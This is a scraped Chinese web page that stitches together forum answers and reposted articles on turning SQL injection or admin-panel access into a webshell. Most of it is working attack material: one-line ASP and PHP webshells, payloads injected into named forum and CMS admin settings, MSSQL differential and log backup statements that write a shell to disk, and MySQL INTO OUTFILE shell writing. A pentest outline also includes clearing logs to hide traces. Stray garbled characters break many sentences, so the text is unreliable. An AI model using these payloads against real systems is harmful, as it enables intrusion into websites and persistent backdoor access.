当前位置:首页 » 编程语言 » sql注入获取webshell
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

sql注入获取webshell

发布时间: 2023-05-31 21:40:41

① 问一下,最近怎么才能sql注入和拿到webshell我是小白,顺便问理解这些都需要哪些知识或者看哪些书

人家网站当然都要防止被黑,这么想黑,自己去写个漏洞网站自己黑自己的吧,还有,相当黑客,学好黑客的道德守则了吗?到处讨论

② 如何通过SQL注入来提取webshell 抛砖引玉!

你不明白啥叫注入。当然是自己发现哪个框没加过滤咯,或许直接请求加上各种参数试一试。
试的方法很多举个例子后面加1=1。一般数据库都关闭了sql执行cmd你得先提权,然后才能开启sql执行任何cmd。

③ SQL注入点拿到了后怎么拿webshell求

你都拿到权限了,只然就可以操作啦!

④ 来源于网上

以下内容转于网上

曾经写过的一份WEB渗透工程师面试题,看到别人在网上已经公开了试题和答案、也发在博客上吧,反正已经被公开过了,限于招初级WEB渗透工程师。

1.sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A,demo.jsp?id=2+1 B,demo.jsp?id=2-1

(选B,因为A中的+号需要做URL编码后使用2%2B1)考URL编码

2.以下链接存在sql注入漏洞,对于这个变形注入,你有什么思路?

Demo.Do?DATA=MjAxNg==

(先解码,再拼接,再编码,再注入)考base64编码

3.发现jsp?uid=110注入点,你有哪几种思路获取webshell,那种是优选?

(1.首选,找web路径泄漏,猜解web路径,利用sql注入写入webshell,2.其次找后台密码,破解密码密文,找到后台登陆找利用点3.如果实在难找,找其他漏洞)危害类,看是否有利用漏洞、入侵的轿唯卜经验非单纯的安全测试

4.CSRF和XSS和XXE有什么区别,以及修复方式?

(csrf利用会话sessionid做请求,xxs是盗取cookies里的sessionid,两者不是一个漏洞,XXE是xml实体注入, csrf可以在会话中加token或者限制跨域请求,xxs可以在显示或保存时做转义,xxe可以限制外部xml引用)考会话劫持相关。新增XXE,即xml注入

5.CSRF、SSRF和重放攻击有什么区别?

(csrf是跨站请求伪造,利用会话sessionid发请求,需要外部引发条件。SSRF是服务端请求伪造,利用服务端获取文件参闭穗数,任意访问内网文件。重放攻击是指一个会话可以一直请求,一直返回,比如短信验证码),考对漏洞的理解,是否混淆

6.说出至少3种业务逻辑漏洞,并阐明漏洞原理?

(水平越权、垂直越权、任意充值账户密码、1分钱充话费、0元支付、刷积分漏洞、验证码或密码暴力破解等)考对业务涉及缺陷漏洞的经验。

7.圈出下面会话中可能存在问题的项,并标注可能会存在的问题

GET /ecskins/demo.jsp?uid=2016031900&keyword=”hello world!” HTTP/1.1

Host: com:82

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/css,/ ;q=0.1

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://com:82/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=1459663591817

Cookie:myguid1234567890=; uniqueuserid=session_0GRMiFiYJhAh5_HZrQoZamJ; st_uid=N90pIYHLZgjXI-NX01vPUf46w952J-0NcX19vgj1L%3DJXrZP9sf0IY-vEI9iNIX150iLXKat1YZLnUf46Z%2C5aec5biM5rCROueDn%2BWPsOeDn%2BiNiTrng5%2Flj7A%3D; status=True

Connection: keep-alive

(标红1:sql注入,标红2:xss,标红山孙3:cookies欺骗,4:会话CSRF或重放风险。)考对HTTP数据包字段敏感度及会话渗透经验。

8.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?

//看对常规漏洞的深入程度

9.你常用的渗透工具有那些,最常用的是那个?

// 看渗透方向,和之前工作性质

10.描述一个你深入研究过的CVE或POC。

// 看水平和深度,中级水平,都有资助挖掘MVC、CMS框架的漏洞能力。

11.谈谈你经常关注的安全平台。

// 看安全行业的学习能力

⑤ Web应用常见的安全漏洞有哪些_十大常见web漏洞

web常见的几个漏洞

1.SQL注入

SQL注入攻击是黑客对数据库进行攻击的常用手段之手尘一。

2.XSS跨站点脚本

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用毕圆禅的页面中。

3.缓冲区溢出

缓冲区溢出漏洞是指在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出的现象。

4.cookies修改

即使Cookie被窃取,却因Cookie被随机更新,且内容无规律性,攻击者无法加以利用。另外利用了时间戳另一大好处就是防止Cookie篡改或重放。

5.上传漏洞

这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。

6.命令行注入

所谓的命令行输入腔御就是webshell了,拿到了权限的黑客可以肆意妄为。

⑥ SQL注入,拿到webshell后,NC也不能传马【不干坏事】

汗。格式不对弄不上去很正常撒。要是随便都可以传个东西上去,那还搞什么。。。。找找其他的BUG。看有没有戏。

⑦ SQL注入--获取sql-shell

题目地址: http://ctf5.shiyanbar.com/basic/inject/index.php
下面先讲一下思路再说解法:
题目界面:

说明admin字段存在皮穗注入点(bool、time),且过滤了select,那么怎么锋高注入呢。这里通过sqlmap可以直接获取一银握尺个sql shell,直接执行sql语句进行交互。

⑧ 如何从后台得到webshell

注意:如何进入后台,不是本文讨论范围,其具体方法就不说了,靠大家去自己发挥。此文参考了前人的多方面的资料和信息,在此一并表示感谢。

一、直接上传获得webshell

这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标信拍管理上传.php类型,虽然没有提示,其实已经成功了,上传的文件url应该是

,前一阵子的联众皮纯游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。

二、添加修改上传类型

现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asaasP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!

三、利用后台管理功能写入webshell

上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\网站incIncHtmBoardLink.asp就是我们想要的shell。

四、利用后台管理向配置文件写webshell

利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上[email protected]":eval request(chr (35))//, 在配制文件中就是webmail="[email protected]":eval request(chr(35))//",还有一种方法就是写上 [email protected]"%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><%execute request("l")%><%',保 存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。


五、利用后台数据库备份及恢复获得webshell

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看源代码来获得其滑握羡数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。

六、利用数据库压缩功能

可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。

七、asp+mssql系统

这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:

<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">

<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>

<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>

<p><input type="submit" value="提交"></p> </form>

另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。

差异备份的主要代码:

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--

;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--

;insert into heige(cmd) values()--

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--

这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:web1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。

八、php+mysql系统

后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。在mysql操作里输入select from mysql.user into outfile '路径’ 就可以获得了一个<?eval($_POST[a]);?>的最小马' 是我们<?eval($_POST[a]);?>的十六进制,这种方法对phpmyadmin比较普遍,先利用phpmyadmin的路径泄露漏洞,比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php。

就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写d:\wwwroot\a.php。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号

CREATE TABLE a(cmd text NOT NULL)

INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?>')

select cmd from a into outfile '路径/b.php'

DROP TABLE IF EXISTS a

访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。

如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码:

<?

$sa = fopen("./up/saiy.php","w");

fwrite($sa,"<?eval($_POST[a]);?".">");

fclose($sa);

?>

就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马, 最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。

九、phpwind论坛从后台到webshell的三种方式

方式1 模板法

进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。

EOT;

eval($a);

print <<<EOT

而后得到一个shell为http://网站/bbs/index.php。

方始2 脏话过滤法

进入安全管理 ◇ 不良词语过滤。新增不良词语写 a’]=’aa’;eval($_POST[’a’]);//

替换为那里可以随意写,而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。

方式3 用户等级管理

新建立会员组,头衔你可以随便写,但是千万不要写单双引号特殊符号,升级图片号写a’;eval($_POST[’a’]);// ,升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。

以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。

十、也可以利用网站访问计数系统记录来获得webshell

最明显的就是某私服程序内的阿江计数程序,可以通过http://网站/stat.asp?style=textreferer= 代码内容&screenwidth=1024直接提交, 即可把代码内容直接插入到计数系统的数据库中,而此系统默认数据库为count#.asa,我们可以通过http://网站/count%23.asa访问得到webshell,由于阿江计数程序过滤了%和+,将最小马改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替换代码内容处提交,然后用lake2的eval客户端来提交,值得一提的是如果进到计数后台,可以清理某时某刻的数据,一旦插入asp木马失败,可以清理数据库再次操作。

⑨ 怎么获得别人的webshell

dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如拆唯码何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。

获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法,注入也可以得到,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。

然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。

默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alter database XXXX set RECOVERY FULL

其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应,如果你只是建立一个<%%>之类的表,日志里面的记录还是以松散的格式记录的,也就是<% % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下:

create table cmd (a image)

insert into cmd (a) values ('<%Execute(request("Swan"))%>')

backup log XXXX to disk = 'c:xxx.asp'

这样你已经得到一个webshell了。

到这里就完了么?没有,呵呵,我们继续。

到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。

首先是初始化这个日志。

backup log XXXX to disk = 'c:target' with init

这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来旅哪一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是山乎数据库和代码没变,有不小的帮助。

然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alter database XXXX set RECOVERY FULL

backup log XXXX to disk = 'c:Sammy' with init

create table cmd (a image)

insert into cmd (a) values ('<%Execute(request("Swan"))%>')

backup log XXXX to disk = 'c:xxx.asp'

这样不好,感觉上多了一条没用的东西。

create table cmd (a image)

确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:

alter database XXXX set RECOVERY FULL

create table cmd (a image)

backup log XXXX to disk = 'c:Sammy' with init

insert into cmd (a) values ('<%Execute(request("Swan"))%>')

backup log XXXX to disk = 'c:xxx.asp'

成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。

进一步的,虽然不能再次缩小这个木马了,但是可以让垃圾文件少一点,那就是加上response.end,这样后面的垃圾数据就不再显示。所有的垃圾数据,你可以统计一下,大约只有6~12k,也就是说,<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近,最好的情况似乎在6k左右,而且这个概率分布比较靠前,很少见到10k以上。这还是比较令人满意的。

目前用backup log来测试的成功率是100%,就这样分析

⑩ 网站渗透测试,怎么进行

1.信息收集:

1)、获取域名的whois信息,获取注册者邮箱姓名电话等。

2)、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

3)、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。

4)、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

5)、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针。

6)、google hack 进一步探测网站的信息,后台,敏感文件。

2.漏洞扫描:

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等。

3.漏洞利用:

利用以上的方式拿到webshell,或者其他权限。

4.权限提升:

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权。

5.日志清理:

结束渗透测试工作需要做的事情,抹除自己的痕迹。

需要规避的风险:

1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。

2. 测试验证时间放在业务量最小的时间进行。

3. 测试执行前确保相关数据进行备份

4. 所有测试在执行前和维护人员进行沟通确认。